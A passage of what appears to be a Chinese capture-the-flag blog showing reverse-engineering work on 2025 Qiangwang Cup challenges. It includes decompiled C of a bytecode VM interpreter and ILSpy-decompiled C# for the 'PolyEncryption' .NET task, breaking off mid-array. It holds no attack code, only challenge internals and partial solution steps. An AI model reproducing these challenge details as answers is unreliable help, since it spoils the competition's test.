  int v8; // r9d
6
  int v11; // edx
7
  int v12; // r8d
8
  int v13; // r9d
9
  unsigned __int8 n2; // al
10
  int v15; // edx
11
  int v16; // r8d
12
  int v17; // r9d
13
  int v18; // edx
14
  int v19; // r8d
15
  int v20; // r9d
16
  int v21; // r8d
17
  int v22; // r9d
18
  int v23; // edx
19
  int v24; // r8d
20
  int v25; // r9d
21
  int v26; // edx
22
  int v27; // r8d
23
  int v28; // r9d
24
  int v29; // edx
25
  int v30; // r8d
26
  int v31; // r9d
27
  int v32; // edx
28
  int v33; // r8d
29
  int v34; // r9d
30
  int v35; // r8d
31
  int v36; // r9d
32
  int v37; // r8d
33
  int v38; // r9d
34
  int v39; // edx
35
  int v40; // r8d
36
  int v41; // r9d
37
  int v42; // edx
38
  int v43; // r8d
39
  int v44; // r9d
40
  int v45; // edx
41
  int v46; // r8d
42
  int v47; // r9d
43
  int v48; // edx
44
  int v49; // r8d
45
  int v50; // r9d
46
  int v51; // r8d
47
  int v52; // r9d
48
  int v53; // edx
49
  int v54; // r8d
50
  int v55; // r9d
51
  int v56; // edx
52
  int v57; // r8d
53
  int v58; // r9d
54
  int v59; // edx
55
  int v60; // r8d
56
  int v61; // r9d
57
  int v62; // edx
58
  int v63; // r8d
59
  int v64; // r9d
60
  int v65; // r8d
61
  int v66; // r9d
62
  int v67; // edx
63
  int v68; // r8d
64
  int v69; // r9d
65
  int v70; // edx
66
  int v71; // r8d
67
  int v72; // r9d
68
  int v73; // edx
69
  int v74; // r8d
70
  int v75; // r9d
71
  int v76; // edx
72
  int v77; // r8d
73
  int v78; // r9d
74
  int v79; // r8d
75
  int v80; // r9d
76
  int v81; // edx
77
  int v82; // r8d
78
  int v83; // r9d
79
  int v84; // edx
80
  int v85; // r8d
81
  int v86; // r9d
82
  int v87; // edx
83
  int v88; // r8d
84
  int v89; // r9d
85
  int v90; // edx
86
  int v91; // r8d
87
  int v92; // r9d
88
  int v93; // r8d
89
  int v94; // r9d
90
  int v95; // edx
91
  int v96; // r8d
92
  int v97; // r9d
93
  int v98; // edx
94
  int v99; // r8d
95
  int v100; // r9d
96
  int v101; // edx
97
  int v102; // r8d
98
  int v103; // r9d
99
  int v104; // edx
100
  int v105; // r8d
101
  int v106; // r9d
102
  int v107; // r8d
103
  int v108; // r9d
104
  int v109; // edx
105
  int v110; // r8d
106
  int v111; // r9d
107
  int v112; // edx
108
  int v113; // r8d
109
  int v114; // r9d
110
  int v115; // r8d
111
  int v116; // r9d
112
  int v117; // edx
113
  int v118; // r8d
114
  int v119; // r9d
115
  int v120; // edx
116
  int v121; // r8d
117
  int v122; // r9d
118
  int v123; // edx
119
  int v124; // r8d
120
  int v125; // r9d
121
  int v126; // edx
122
  int v127; // r8d
123
  int v128; // r9d
124
  int v129; // r8d
125
  int v130; // r9d
126
  int v131; // edx
127
  int v132; // r8d
128
  int v133; // r9d
129
  int v134; // edx
130
  int v135; // r8d
131
  int v136; // r9d
132
  int v137; // edx
133
  int v138; // r8d
134
  int v139; // r9d
135
  int v140; // edx
136
  int v141; // r8d
137
  int v142; // r9d
138
  int v143; // r8d
139
  int v144; // r9d
140
  int v145; // edx
141
  int v146; // r8d
142
  int v147; // r9d
143
  int v148; // edx
144
  int v149; // r8d
145
  int v150; // r9d
146
  int v151; // edx
147
  int v152; // r8d
148
  int v153; // r9d
149
  int v154; // edx
150
  int v155; // r8d
151
  int v156; // r9d
152
  int v157; // r8d
153
  int v158; // r9d
154
  int v159; // edx
155
  int v160; // r8d
156
  int v161; // r9d
157
  int v162; // edx
158
  int v163; // r8d
159
  int v164; // r9d
160
  int v165; // edx
161
  int v166; // r8d
162
  int v167; // r9d
163
  int v168; // edx
164
  int v169; // r8d
165
  int v170; // r9d
166
  int v171; // r8d
167
  int v172; // r9d
168
  int v173; // edx
169
  int v174; // r8d
170
  int v175; // r9d
171
  int v176; // edx
172
  int v177; // r8d
173
  int v178; // r9d
174
  int v179; // edx
175
  int v180; // r8d
176
  int v181; // r9d
177
  int v182; // edx
178
  int v183; // r8d
179
  int v184; // r9d
180
  int v185; // r8d
181
  int v186; // r9d
182
  int v187; // edx
183
  int v188; // r8d
184
  int v189; // r9d
185
  int v190; // edx
186
  int v191; // r8d
187
  int v192; // r9d
188
  int v193; // edx
189
  int v194; // r8d
190
  int v195; // r9d
191
  int v196; // edx
192
  int v197; // r8d
193
  int v198; // r9d
194
  int v199; // r8d
195
  int v200; // r9d
196
  int v201; // edx
197
  int v202; // r8d
198
  int v203; // r9d
199
  int v204; // edx
200
  int v205; // r8d
201
  int v206; // r9d
202
  int v207; // edx
203
  int v208; // r8d
204
  int v209; // r9d
205
  int v210; // edx
206
  int v211; // r8d
207
  int v212; // r9d
208
  int v213; // r8d
209
  int v214; // r9d
210
  BOOL v215; // eax
211
  int v216; // edx
212
  int v217; // r8d
213
  int v218; // r9d
214
  int v219; // edx
215
  int v220; // r8d
216
  int v221; // r9d
217
  int v222; // edx
218
  int v223; // r8d
219
  int v224; // r9d
220
  int v225; // edx
221
  int v226; // r8d
222
  int v227; // r9d
223
  int v228; // r8d
224
  int v229; // r9d
225
  BOOL v230; // eax
226
  int v231; // edx
227
  int v232; // r8d
228
  int v233; // r9d
229
  int v234; // edx
230
  int v235; // r8d
231
  int v236; // r9d
232
  int v237; // r8d
233
  int v238; // r9d
234
  int v239; // edx
235
  int v240; // r8d
236
  int v241; // r9d
237
  int v242; // edx
238
  int v243; // r8d
239
  int v244; // r9d
240
  int v245; // edx
241
  int v246; // r8d
242
  int v247; // r9d
243
  int v248; // edx
244
  int v249; // r8d
245
  int v250; // r9d
246
  int v251; // r9d
247
  int v252; // edx
248
  int v253; // r8d
249
  int v254; // r9d
250
  int v255; // edx
251
  int v256; // r8d
252
  int v257; // r9d
253
  int v258; // edx
254
  int v259; // r8d
255
  int v260; // r9d
256
  int v261; // edx
257
  int v262; // r8d
258
  int v263; // r9d
259
  int v264; // r9d
260
  int v265; // edx
261
  int v266; // r8d
262
  int v267; // r9d
263
  int v268; // edx
264
  int v269; // r8d
265
  int v270; // r9d
266
  int v271; // r8d
267
  int v272; // r9d
268
  int v273; // eax
269
  int v274; // r8d
270
  int v275; // r9d
271
  int v276; // edx
272
  int v277; // r8d
273
  int v278; // r9d
274
  int v279; // edx
275
  int v280; // r8d
276
  int v281; // r9d
277
  int v282; // edx
278
  int v283; // r8d
279
  int v284; // r9d
280
  int v285; // edx
281
  int v286; // r8d
282
  int v287; // r9d
283
  int v288; // ebx
284
  int v289; // r8d
285
  int v290; // r9d
286
  int v291; // edx
287
  int v292; // r8d
288
  int v293; // r9d
289
  int v294; // edx
290
  int v295; // r8d
291
  int v296; // r9d
292
  int v297; // edx
293
  int v298; // r8d
294
  int v299; // r9d
295
  int v300; // edx
296
  int v301; // r8d
297
  int v302; // r9d
298
  int v303; // edx
299
  int v304; // r8d
300
  int v305; // r9d
301
  int v306; // edx
302
  int v307; // r8d
303
  int v308; // r9d
304
  int v309; // edx
305
  int v310; // r8d
306
  int v311; // r9d
307
  int v312; // edx
308
  int v313; // r8d
309
  int v314; // r9d
310
  int v315; // r8d
311
  int v316; // r9d
312
  int v317; // edx
313
  int v318; // r8d
314
  int v319; // r9d
315
  __int64 *v320; // rax
316
  __int64 v321; // rdx
317
  int v322; // r8d
318
  int v323; // r9d
319
  __int64 v324; // [rsp+0h] [rbp-80h]
320
  __int64 v325; // [rsp+0h] [rbp-80h]
321
  __int64 v326; // [rsp+0h] [rbp-80h]
322
  __int64 v327; // [rsp+8h] [rbp-78h]
323
  int v328; // [rsp+28h] [rbp-58h] BYREF
324
  int v329; // [rsp+2Ch] [rbp-54h] BYREF
325
  int v330; // [rsp+30h] [rbp-50h] BYREF
326
  int v331; // [rsp+34h] [rbp-4Ch] BYREF
327
  int v332; // [rsp+38h] [rbp-48h] BYREF
328
  int v333; // [rsp+3Ch] [rbp-44h] BYREF
329
  int v334; // [rsp+40h] [rbp-40h] BYREF
330
  int v335; // [rsp+44h] [rbp-3Ch] BYREF
331
  int v336; // [rsp+48h] [rbp-38h] BYREF
332
  int v337; // [rsp+4Ch] [rbp-34h] BYREF
333
  BOOL v338; // [rsp+50h] [rbp-30h] BYREF
334
  BOOL v339; // [rsp+54h] [rbp-2Ch] BYREF
335
  BOOL v340; // [rsp+58h] [rbp-28h] BYREF
336
  BOOL v341; // [rsp+5Ch] [rbp-24h] BYREF
337
  BOOL v342; // [rsp+60h] [rbp-20h] BYREF
338
  BOOL v343; // [rsp+64h] [rbp-1Ch] BYREF
339
  BOOL v344; // [rsp+68h] [rbp-18h] BYREF
340
  BOOL v345; // [rsp+6Ch] [rbp-14h] BYREF
341
  BOOL v346; // [rsp+70h] [rbp-10h] BYREF
342
  int v347; // [rsp+74h] [rbp-Ch] BYREF
343
  unsigned int v348; // [rsp+78h] [rbp-8h] BYREF
344
  unsigned int v349; // [rsp+7Ch] [rbp-4h] BYREF
345
  unsigned int v350; // [rsp+80h] [rbp+0h] BYREF
346
  int v351; // [rsp+84h] [rbp+4h] BYREF
347
  __int64 v352; // [rsp+88h] [rbp+8h] BYREF
348
  int v353; // [rsp+90h] [rbp+10h]
349
  int v354; // [rsp+94h] [rbp+14h]
350
  int v355; // [rsp+98h] [rbp+18h]
351
  int v356; // [rsp+9Ch] [rbp+1Ch]
352
  int v357; // [rsp+A0h] [rbp+20h]
353
  int v358; // [rsp+A4h] [rbp+24h]
354
  unsigned int v359; // [rsp+A8h] [rbp+28h]
355
  unsigned int v360; // [rsp+ACh] [rbp+2Ch]
356
  unsigned int v361; // [rsp+B0h] [rbp+30h]
357
  unsigned int v362; // [rsp+B4h] [rbp+34h]
358
  int v363; // [rsp+B8h] [rbp+38h]
359
  int v364; // [rsp+BCh] [rbp+3Ch]
360
  unsigned int v365; // [rsp+C0h] [rbp+40h]
361
  int v366; // [rsp+C4h] [rbp+44h]
362
  int v367; // [rsp+C8h] [rbp+48h]
363
  int v368; // [rsp+CCh] [rbp+4Ch]
364
  int v369; // [rsp+D0h] [rbp+50h]
365
  int v370; // [rsp+D4h] [rbp+54h]
366
  int v371; // [rsp+D8h] [rbp+58h]
367
  int v372; // [rsp+DCh] [rbp+5Ch]
368
  unsigned int v373; // [rsp+E0h] [rbp+60h]
369
  unsigned int v374; // [rsp+E4h] [rbp+64h]
370
  unsigned int v375; // [rsp+E8h] [rbp+68h]
371
  unsigned int v376; // [rsp+ECh] [rbp+6Ch]
372
  unsigned int v377; // [rsp+F0h] [rbp+70h]
373
  unsigned int v378; // [rsp+F4h] [rbp+74h]
374
  unsigned int v379; // [rsp+F8h] [rbp+78h]
375
  unsigned int v380; // [rsp+FCh] [rbp+7Ch]
376
  int v381; // [rsp+100h] [rbp+80h]
377
  int v382; // [rsp+104h] [rbp+84h]
378
  int v383; // [rsp+108h] [rbp+88h]
379
  int v384; // [rsp+10Ch] [rbp+8Ch]
380
  int v385; // [rsp+110h] [rbp+90h]
381
  unsigned int v386; // [rsp+114h] [rbp+94h]
382
  int v387; // [rsp+118h] [rbp+98h]
383
  unsigned int v388; // [rsp+11Ch] [rbp+9Ch]
384
  int v389; // [rsp+120h] [rbp+A0h]
385
  int v390; // [rsp+124h] [rbp+A4h]
386
  __int64 v391; // [rsp+128h] [rbp+A8h]
387

388
  v6 = *(a4 + 240);
389
  if ( v6 >= sub_140012B20(Ix, a2, a3, a4, a5, a6) || *(a4 + 248) )
390
    return 0;
391
  v391 = sub_140018360(Ix, a2, *(a4 + 240), a4, v7, v8);
392
  n2 = *v391;
393
  if ( *v391 == 0xFF )
394
  {
395
    *(a4 + 248) = 1;
396
    return 0;
397
  }
398
  else
399
  {
400
    if ( n2 < 0x60u )
401
    {
402
      if ( n2 == 84 )
403
      {
404
        if ( sub_140012AD0(Ix, a2, v11, a4 + 160, v12, v13) != 1 )
405
        {
406
          v320 = sub_1400178A0(Ix, a2, v317, a4 + 160, v318, v319);
407
          v321 = *v320;
408
          *(a4 + 240) = *v320;
409
          sub_140017840(Ix, a2, v321, a4 + 160, v322, v323);
410
          return 1;
411
        }
412
      }
413
      else if ( n2 <= 0x54u )
414
      {
415
        switch ( n2 )
416
        {
417
          case 'S':
418
            v352 = *(a4 + 240) + 1LL;
419
            sub_140017900(Ix, a2, &v352, a4 + 160, v12, v13);
420
            *(a4 + 240) = *(v391 + 4);
421
            return 1;
422
          case 'R':
423
            if ( sub_140012AB0(Ix, a2, v11, a4 + 24, v12, v13) != 1 )
424
            {
425
              v390 = *sub_140017720(Ix, a2, v297, a4 + 24, v298, v299);
426
              sub_1400176C0(Ix, a2, v300, a4 + 24, v301, v302);
427
              if ( v390 )
428
              {
429
                *(a4 + 240) = *(v391 + 4);
430
                return 1;
431
              }
432
            }
433
            break;
434
          case 'Q':
435
            if ( sub_140012AB0(Ix, a2, v11, a4 + 24, v12, v13) != 1 )
436
            {
437
              v389 = *sub_140017720(Ix, a2, v291, a4 + 24, v292, v293);
438
              sub_1400176C0(Ix, a2, v294, a4 + 24, v295, v296);
439
              if ( !v389 )
440
              {
441
                *(a4 + 240) = *(v391 + 4);
442
                return 1;
443
              }
444
            }
445
            break;
446
          case 'P':
447
            *(a4 + 240) = *(v391 + 4);
448
            return 1;
449
          case 'A':
450
            if ( sub_140012A90(Ix, a2, v11, a4 + 24, v12, v13) > 1 )
451
            {
452
              v388 = *sub_140017720(Ix, a2, v276, a4 + 24, v277, v278);
453
              sub_1400176C0(Ix, a2, v279, a4 + 24, v280, v281);
454
              v387 = *sub_140017720(Ix, a2, v282, a4 + 24, v283, v284);
455
              sub_1400176C0(Ix, a2, v285, a4 + 24, v286, v287);
456
              v288 = v387;
457
              v350 = v388;
458
              *sub_140015400(Ix, a2, &v350, a4 + 104, v289, v290, v324, v327) = v288;
459
            }
460
            break;
461
          default:
462
            if ( n2 <= 0x41u )
463
            {
464
              if ( n2 == 64 )
465
              {
466
                if ( sub_140012AB0(Ix, a2, v11, a4 + 24, v12, v13) != 1 )
467
                {
468
                  v386 = *sub_140017720(Ix, a2, v265, a4 + 24, v266, v267);
469
                  sub_1400176C0(Ix, a2, v268, a4 + 24, v269, v270);
470
                  v349 = v386;
471
                  v273 = sub_140015400(Ix, a2, &v349, a4 + 104, v271, v272, v324, v327);
472
                  sub_1400177B0(Ix, a2, v273, a4 + 24, v274, v275, v326);
473
                }
474
              }
475
              else if ( n2 == 50 )
476
              {
477
                if ( sub_140012AB0(Ix, a2, v11, a4 + 24, v12, v13) != 1 )
478
                {
479
                  v385 = *sub_140017720(Ix, a2, v231, a4 + 24, v232, v233);
480
                  sub_1400176C0(Ix, a2, v234, a4 + 24, v235, v236);
481
                  v346 = v385 == 0;
482
                  sub_140017780(Ix, a2, &v346, a4 + 24, v237, v238);
483
                }
484
              }
485
              else if ( n2 <= 0x32u )
486
              {
487
                switch ( n2 )
488
                {
489
                  case '1':
490
                    if ( sub_140012A90(Ix, a2, v11, a4 + 24, v12, v13) > 1 )
491
                    {
492
                      v384 = *sub_140017720(Ix, a2, v216, a4 + 24, v217, v218);
493
                      sub_1400176C0(Ix, a2, v219, a4 + 24, v220, v221);
494
                      v383 = *sub_140017720(Ix, a2, v222, a4 + 24, v223, v224);
495
                      sub_1400176C0(Ix, a2, v225, a4 + 24, v226, v227);
496
                      v230 = v383 || v384;
497
                      v345 = v230;
498
                      sub_140017780(Ix, a2, &v345, a4 + 24, v228, v229);
499
                    }
500
                    break;
501
                  case '0':
502
                    if ( sub_140012A90(Ix, a2, v11, a4 + 24, v12, v13) > 1 )
503
                    {
504
                      v382 = *sub_140017720(Ix, a2, v201, a4 + 24, v202, v203);
505
                      sub_1400176C0(Ix, a2, v204, a4 + 24, v205, v206);
506
                      v381 = *sub_140017720(Ix, a2, v207, a4 + 24, v208, v209);
507
                      sub_1400176C0(Ix, a2, v210, a4 + 24, v211, v212);
508
                      v215 = v381 && v382;
509
                      v344 = v215;
510
                      sub_140017780(Ix, a2, &v344, a4 + 24, v213, v214);
511
                    }
512
                    break;
513
                  case '%':
514
                    if ( sub_140012A90(Ix, a2, v11, a4 + 24, v12, v13) > 1 )
515
                    {
516
                      v380 = *sub_140017720(Ix, a2, v187, a4 + 24, v188, v189);
517
                      sub_1400176C0(Ix, a2, v190, a4 + 24, v191, v192);
518
                      v379 = *sub_140017720(Ix, a2, v193, a4 + 24, v194, v195);
519
                      sub_1400176C0(Ix, a2, v196, a4 + 24, v197, v198);
520
                      v343 = v379 >= v380;
521
                      sub_140017780(Ix, a2, &v343, a4 + 24, v199, v200);
522
                    }
523
                    break;
524
                  default:
525
                    if ( n2 <= 0x25u )
526
                    {
527
                      switch ( n2 )
528
                      {
529
                        case 0x24u:
530
                          if ( sub_140012A90(Ix, a2, v11, a4 + 24, v12, v13) > 1 )
531
                          {
532
                            v378 = *sub_140017720(Ix, a2, v173, a4 + 24, v174, v175);
533
                            sub_1400176C0(Ix, a2, v176, a4 + 24, v177, v178);
534
                            v377 = *sub_140017720(Ix, a2, v179, a4 + 24, v180, v181);
535
                            sub_1400176C0(Ix, a2, v182, a4 + 24, v183, v184);
536
                            v342 = v378 < v377;
537
                            sub_140017780(Ix, a2, &v342, a4 + 24, v185, v186);
538
                          }
539
                          break;
540
                        case 0x23u:
541
                          if ( sub_140012A90(Ix, a2, v11, a4 + 24, v12, v13) > 1 )
542
                          {
543
                            v376 = *sub_140017720(Ix, a2, v159, a4 + 24, v160, v161);
544
                            sub_1400176C0(Ix, a2, v162, a4 + 24, v163, v164);
545
                            v375 = *sub_140017720(Ix, a2, v165, a4 + 24, v166, v167);
546
                            sub_1400176C0(Ix, a2, v168, a4 + 24, v169, v170);
547
                            v341 = v376 >= v375;
548
                            sub_140017780(Ix, a2, &v341, a4 + 24, v171, v172);
549
                          }
550
                          break;
551
                        case 0x22u:
552
                          if ( sub_140012A90(Ix, a2, v11, a4 + 24, v12, v13) > 1 )
553
                          {
554
                            v374 = *sub_140017720(Ix, a2, v145, a4 + 24, v146, v147);
555
                            sub_1400176C0(Ix, a2, v148, a4 + 24, v149, v150);
556
                            v373 = *sub_140017720(Ix, a2, v151, a4 + 24, v152, v153);
557
                            sub_1400176C0(Ix, a2, v154, a4 + 24, v155, v156);
558
                            v340 = v373 < v374;
559
                            sub_140017780(Ix, a2, &v340, a4 + 24, v157, v158);
560
                          }
561
                          break;
562
                        case 0x21u:
563
                          if ( sub_140012A90(Ix, a2, v11, a4 + 24, v12, v13) > 1 )
564
                          {
565
                            v372 = *sub_140017720(Ix, a2, v131, a4 + 24, v132, v133);
566
                            sub_1400176C0(Ix, a2, v134, a4 + 24, v135, v136);
567
                            v371 = *sub_140017720(Ix, a2, v137, a4 + 24, v138, v139);
568
                            sub_1400176C0(Ix, a2, v140, a4 + 24, v141, v142);
569
                            v339 = v371 != v372;
570
                            sub_140017780(Ix, a2, &v339, a4 + 24, v143, v144);
571
                          }
572
                          break;
573
                        case 0x20u:
574
                          if ( sub_140012A90(Ix, a2, v11, a4 + 24, v12, v13) > 1 )
575
                          {
576
                            v370 = *sub_140017720(Ix, a2, v117, a4 + 24, v118, v119);
577
                            sub_1400176C0(Ix, a2, v120, a4 + 24, v121, v122);
578
                            v369 = *sub_140017720(Ix, a2, v123, a4 + 24, v124, v125);
579
                            sub_1400176C0(Ix, a2, v126, a4 + 24, v127, v128);
580
                            v338 = v369 == v370;
581
                            sub_140017780(Ix, a2, &v338, a4 + 24, v129, v130);
582
                          }
583
                          break;
584
                        case 0x18u:
585
                          if ( sub_140012A90(Ix, a2, v11, a4 + 24, v12, v13) > 1 )
586
                          {
587
                            v368 = *sub_140017720(Ix, a2, v303, a4 + 24, v304, v305);
588
                            sub_1400176C0(Ix, a2, v306, a4 + 24, v307, v308);
589
                            v367 = *sub_140017720(Ix, a2, v309, a4 + 24, v310, v311);
590
                            sub_1400176C0(Ix, a2, v312, a4 + 24, v313, v314);
591
                            v351 = v368 ^ v367;
592
                            sub_140017780(Ix, a2, &v351, a4 + 24, v315, v316);
593
                          }
594
                          break;
595
                        default:
596
                          if ( n2 <= 0x18u )
597
                          {
598
                            switch ( n2 )
599
                            {
600
                              case 0x17u:
601
                                if ( sub_140012A90(Ix, a2, v11, a4 + 24, v12, v13) > 1 )
602
                                {
603
                                  v366 = *sub_140017720(Ix, a2, v252, a4 + 24, v253, v254);
604
                                  sub_1400176C0(Ix, a2, v255, a4 + 24, v256, v257);
605
                                  v365 = *sub_140017720(Ix, a2, v258, a4 + 24, v259, v260);
606
                                  sub_1400176C0(Ix, a2, v261, a4 + 24, v262, v263);
607
                                  v348 = v365 >> v366;
608
                                  sub_140017780(Ix, a2, &v348, a4 + 24, a4 + 24, v264);
609
                                }
610
                                break;
611
                              case 0x16u:
612
                                if ( sub_140012A90(Ix, a2, v11, a4 + 24, v12, v13) > 1 )
613
                                {
614
                                  v364 = *sub_140017720(Ix, a2, v239, a4 + 24, v240, v241);
615
                                  sub_1400176C0(Ix, a2, v242, a4 + 24, v243, v244);
616
                                  v363 = *sub_140017720(Ix, a2, v245, a4 + 24, v246, v247);
617
                                  sub_1400176C0(Ix, a2, v248, a4 + 24, v249, v250);
618
                                  v347 = v363 << v364;
619
                                  sub_140017780(Ix, a2, &v347, a4 + 24, a4 + 24, v251);
620
                                }
621
                                break;
622
                              case 0x15u:
623
                                if ( sub_140012AB0(Ix, a2, v11, a4 + 24, v12, v13) != 1 )
624
                                {
625
                                  v328 = *sub_140017720(Ix, a2, v109, a4 + 24, v110, v111);
626
                                  sub_1400176C0(Ix, a2, v112, a4 + 24, v113, v114);
627
                                  sub_1400177B0(Ix, a2, &v328, a4 + 24, v115, v116, v324);
628
                                }
629
                                break;
630
                              case 0x14u:
631
                                if ( sub_140012A90(Ix, a2, v11, a4 + 24, v12, v13) > 1 )
632
                                {
633
                                  v362 = *sub_140017720(Ix, a2, v95, a4 + 24, v96, v97);
634
                                  sub_1400176C0(Ix, a2, v98, a4 + 24, v99, v100);
635
                                  v361 = *sub_140017720(Ix, a2, v101, a4 + 24, v102, v103);
636
                                  sub_1400176C0(Ix, a2, v104, a4 + 24, v105, v106);
637
                                  if ( v362 )
638
                                  {
639
                                    v337 = v361 % v362;
640
                                    sub_140017780(Ix, a2, &v337, a4 + 24, v107, v108);
641
                                  }
642
                                }
643
                                break;
644
                              case 0x13u:
645
                                if ( sub_140012A90(Ix, a2, v11, a4 + 24, v12, v13) > 1 )
646
                                {
647
                                  v360 = *sub_140017720(Ix, a2, v81, a4 + 24, v82, v83);
648
                                  sub_1400176C0(Ix, a2, v84, a4 + 24, v85, v86);
649
                                  v359 = *sub_140017720(Ix, a2, v87, a4 + 24, v88, v89);
650
                                  sub_1400176C0(Ix, a2, v90, a4 + 24, v91, v92);
651
                                  if ( v360 )
652
                                  {
653
                                    v336 = v359 / v360;
654
                                    sub_140017780(Ix, a2, &v336, a4 + 24, v93, v94);
655
                                  }
656
                                }
657
                                break;
658
                              case 0x12u:
659
                                if ( sub_140012A90(Ix, a2, v11, a4 + 24, v12, v13) > 1 )
660
                                {
661
                                  v358 = *sub_140017720(Ix, a2, v67, a4 + 24, v68, v69);
662
                                  sub_1400176C0(Ix, a2, v70, a4 + 24, v71, v72);
663
                                  v357 = *sub_140017720(Ix, a2, v73, a4 + 24, v74, v75);
664
                                  sub_1400176C0(Ix, a2, v76, a4 + 24, v77, v78);
665
                                  v335 = v358 * v357;
666
                                  sub_140017780(Ix, a2, &v335, a4 + 24, v79, v80);
667
                                }
668
                                break;
669
                              case 0x11u:
670
                                if ( sub_140012A90(Ix, a2, v11, a4 + 24, v12, v13) > 1 )
671
                                {
672
                                  v356 = *sub_140017720(Ix, a2, v53, a4 + 24, v54, v55);
673
                                  sub_1400176C0(Ix, a2, v56, a4 + 24, v57, v58);
674
                                  v355 = *sub_140017720(Ix, a2, v59, a4 + 24, v60, v61);
675
                                  sub_1400176C0(Ix, a2, v62, a4 + 24, v63, v64);
676
                                  v334 = v355 - v356;
677
                                  sub_140017780(Ix, a2, &v334, a4 + 24, v65, v66);
678
                                }
679
                                break;
680
                              case 0x10u:
681
                                if ( sub_140012A90(Ix, a2, v11, a4 + 24, v12, v13) > 1 )
682
                                {
683
                                  v354 = *sub_140017720(Ix, a2, v39, a4 + 24, v40, v41);
684
                                  sub_1400176C0(Ix, a2, v42, a4 + 24, v43, v44);
685
                                  v353 = *sub_140017720(Ix, a2, v45, a4 + 24, v46, v47);
686
                                  sub_1400176C0(Ix, a2, v48, a4 + 24, v49, v50);
687
                                  v333 = v353 + v354;
688
                                  sub_140017780(Ix, a2, &v333, a4 + 24, v51, v52);
689
                                }
690
                                break;
691
                              case 4u:
692
                                if ( sub_140012A90(Ix, a2, v11, a4 + 24, v12, v13) > 1 )
693
                                {
694
                                  v330 = *sub_140017720(Ix, a2, v23, a4 + 24, v24, v25);
695
                                  sub_1400176C0(Ix, a2, v26, a4 + 24, v27, v28);
696
                                  v329 = *sub_140017720(Ix, a2, v29, a4 + 24, v30, v31);
697
                                  sub_1400176C0(Ix, a2, v32, a4 + 24, v33, v34);
698
                                  sub_1400177B0(Ix, a2, &v330, a4 + 24, v35, v36, v324);
699
                                  sub_1400177B0(Ix, a2, &v329, a4 + 24, v37, v38, v325);
700
                                }
701
                                break;
702
                              default:
703
                                if ( n2 <= 4u )
704
                                {
705
                                  if ( n2 == 3 )
706
                                  {
707
                                    if ( sub_140012AB0(Ix, a2, v11, a4 + 24, v12, v13) != 1 )
708
                                    {
709
                                      v331 = *sub_140017720(Ix, a2, v18, a4 + 24, v19, v20);
710
                                      sub_1400177B0(Ix, a2, &v331, a4 + 24, v21, v22, v324);
711
                                    }
712
                                  }
713
                                  else if ( n2 == 1 )
714
                                  {
715
                                    v332 = *(v391 + 4);
716
                                    sub_140017780(Ix, a2, &v332, a4 + 24, v12, v13);
717
                                  }
718
                                  else if ( n2 == 2 && sub_140012AB0(Ix, a2, v11, a4 + 24, v12, v13) != 1 )
719
                                  {
720
                                    sub_1400176C0(Ix, a2, v15, a4 + 24, v16, v17);
721
                                  }
722
                                }
723
                                break;
724
                            }
725
                          }
726
                          break;
727
                      }
728
                    }
729
                    break;
730
                }
731
              }
732
            }
733
            break;
734
        }
735
      }
736
    }
737
    ++*(a4 + 240);
738
    return 1;
739
  }
740
}

展开收起

可认为这就是 VM 主体了。

sub_140011AE0 则开始输出正确与否了，此函数应该为验证函数。

2025 强网杯S9 Reverse 复现

Sat, 25 Oct 2025 16:54:19 GMT

孩子们，我又被 RE 肘击辣 😭

PolyEncryption#

本题使用 Docker 部署，但是所给的文件不足以本地搭建……

题目只给了一个 dll，拖进 DIE，发现是 .NET，故使用 ILSpy 进行反编译

不要用 dnSpy

因为 dll 用了异步编程，所以编译的时候会编译成状态机的形式，用 dnspy 看的话只能反编译到状态机的代码，用 ilspy 才能完整反编译。

即使我使用 dnSpy 的最新构建版本，依然无法完整反编译…… C# 那篇已经更新信息了。

作为对比，对于 Main 方法，dnSpy 的反编译结果只有 12 行，而 ILSpy 则是足足 284 行！

1
// saw, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
2
// Saw
3
using System;
4
using System.Diagnostics;
5
using System.Net;
6
using System.Net.Sockets;
7
using System.Reflection;
8
using System.Security.Cryptography;
9
using System.Text;
10
using System.Threading;
11
using System.Threading.Tasks;
12

13
private static async Task Main(string[] args)
14
{
15
  if (args.Length != 1)
16
  {
17
    Console.WriteLine("Usage: dotnet saw.dll [input]");
18
    Console.WriteLine("  where input is 16 hexa bytes (eg abe74e3a9c375b3428bf31d1f8fa49c1)");
19
    Environment.Exit(1);
20
  }
21
  man.BlockSize = 128;
22
  man.Mode = CipherMode.CBC;
23
  man.Padding = PaddingMode.PKCS7;
24
  k = SHA256.Create().ComputeHash(Encoding.ASCII.GetBytes(typeof(Saw).Assembly.FullName));
25
  s[1023] = 3207972492L;
26
  s[1024] = 1190065579L;
27
  s[1025] = 4165979424L;
28
  s[1026] = 2693353696L;
29
  s[1027] = 3628337899L;
30
  s[1028] = 1707638109L;
31
  s[1029] = 1003779598L;
32
  s[1030] = 2653425729L;
33
  s[1031] = 795752593L;
34
  s[1032] = 2469382657L;
35
  long[] array = new long[16];
36
  Array.Copy(s, 1017, array, 0, 16);
37
  iv = Array.ConvertAll(array, (long x) => (byte)x);
38
  TcpListener tcpListener = new TcpListener(IPAddress.Loopback, 0);
39
  tcpListener.Start();
40
  Process p = Process.Start(new ProcessStartInfo("python3", "-m saw " + ((IPEndPoint)tcpListener.LocalEndpoint).Port)
41
  {
42
    Environment = {
43
    {
44
      "PYTHONPATH",
45
      Assembly.GetEntryAssembly().Location
46
    } }
47
  });
48
  client = tcpListener.AcceptTcpClient();
49
  await Hack();
50
  await Track();
51
  int rr = 0;
52
  while (true)
53
  {
54
    Console.Error.Write(".");
55
    await Shreck();
56
    if (rr == 0)
57
    {
58
      s[32] = Convert.ToInt64(args[0].Substring(0, 8), 16);
59
      s[33] = Convert.ToInt64(args[0].Substring(8, 8), 16);
60
      s[34] = Convert.ToInt64(args[0].Substring(16, 8), 16);
61
      s[35] = Convert.ToInt64(args[0].Substring(24, 8), 16);
62
    }
63
    else if (rr % 2 == 1)
64
    {
65
      if (rr != 1)
66
      {
67
        await Stop(await Crack(new byte[32]
68
        {
69
          34, 38, 13, 204, 106, 91, 87, 35, 115, 198,
70
          124, 92, 83, 151, 127, 227, 60, 108, 237, 212,
71
          71, 88, 37, 39, 222, 28, 237, 242, 207, 61,
72
          89, 65
73
        }));
74
      }
75
      else
76
      {
77
        await Stop(await Crack(new byte[32]
78
        {
79
          54, 26, 153, 43, 207, 163, 66, 102, 1, 251,
80
          172, 137, 133, 103, 252, 200, 133, 6, 227, 185,
81
          100, 190, 49, 220, 132, 230, 14, 201, 184, 28,
82
          84, 127
83
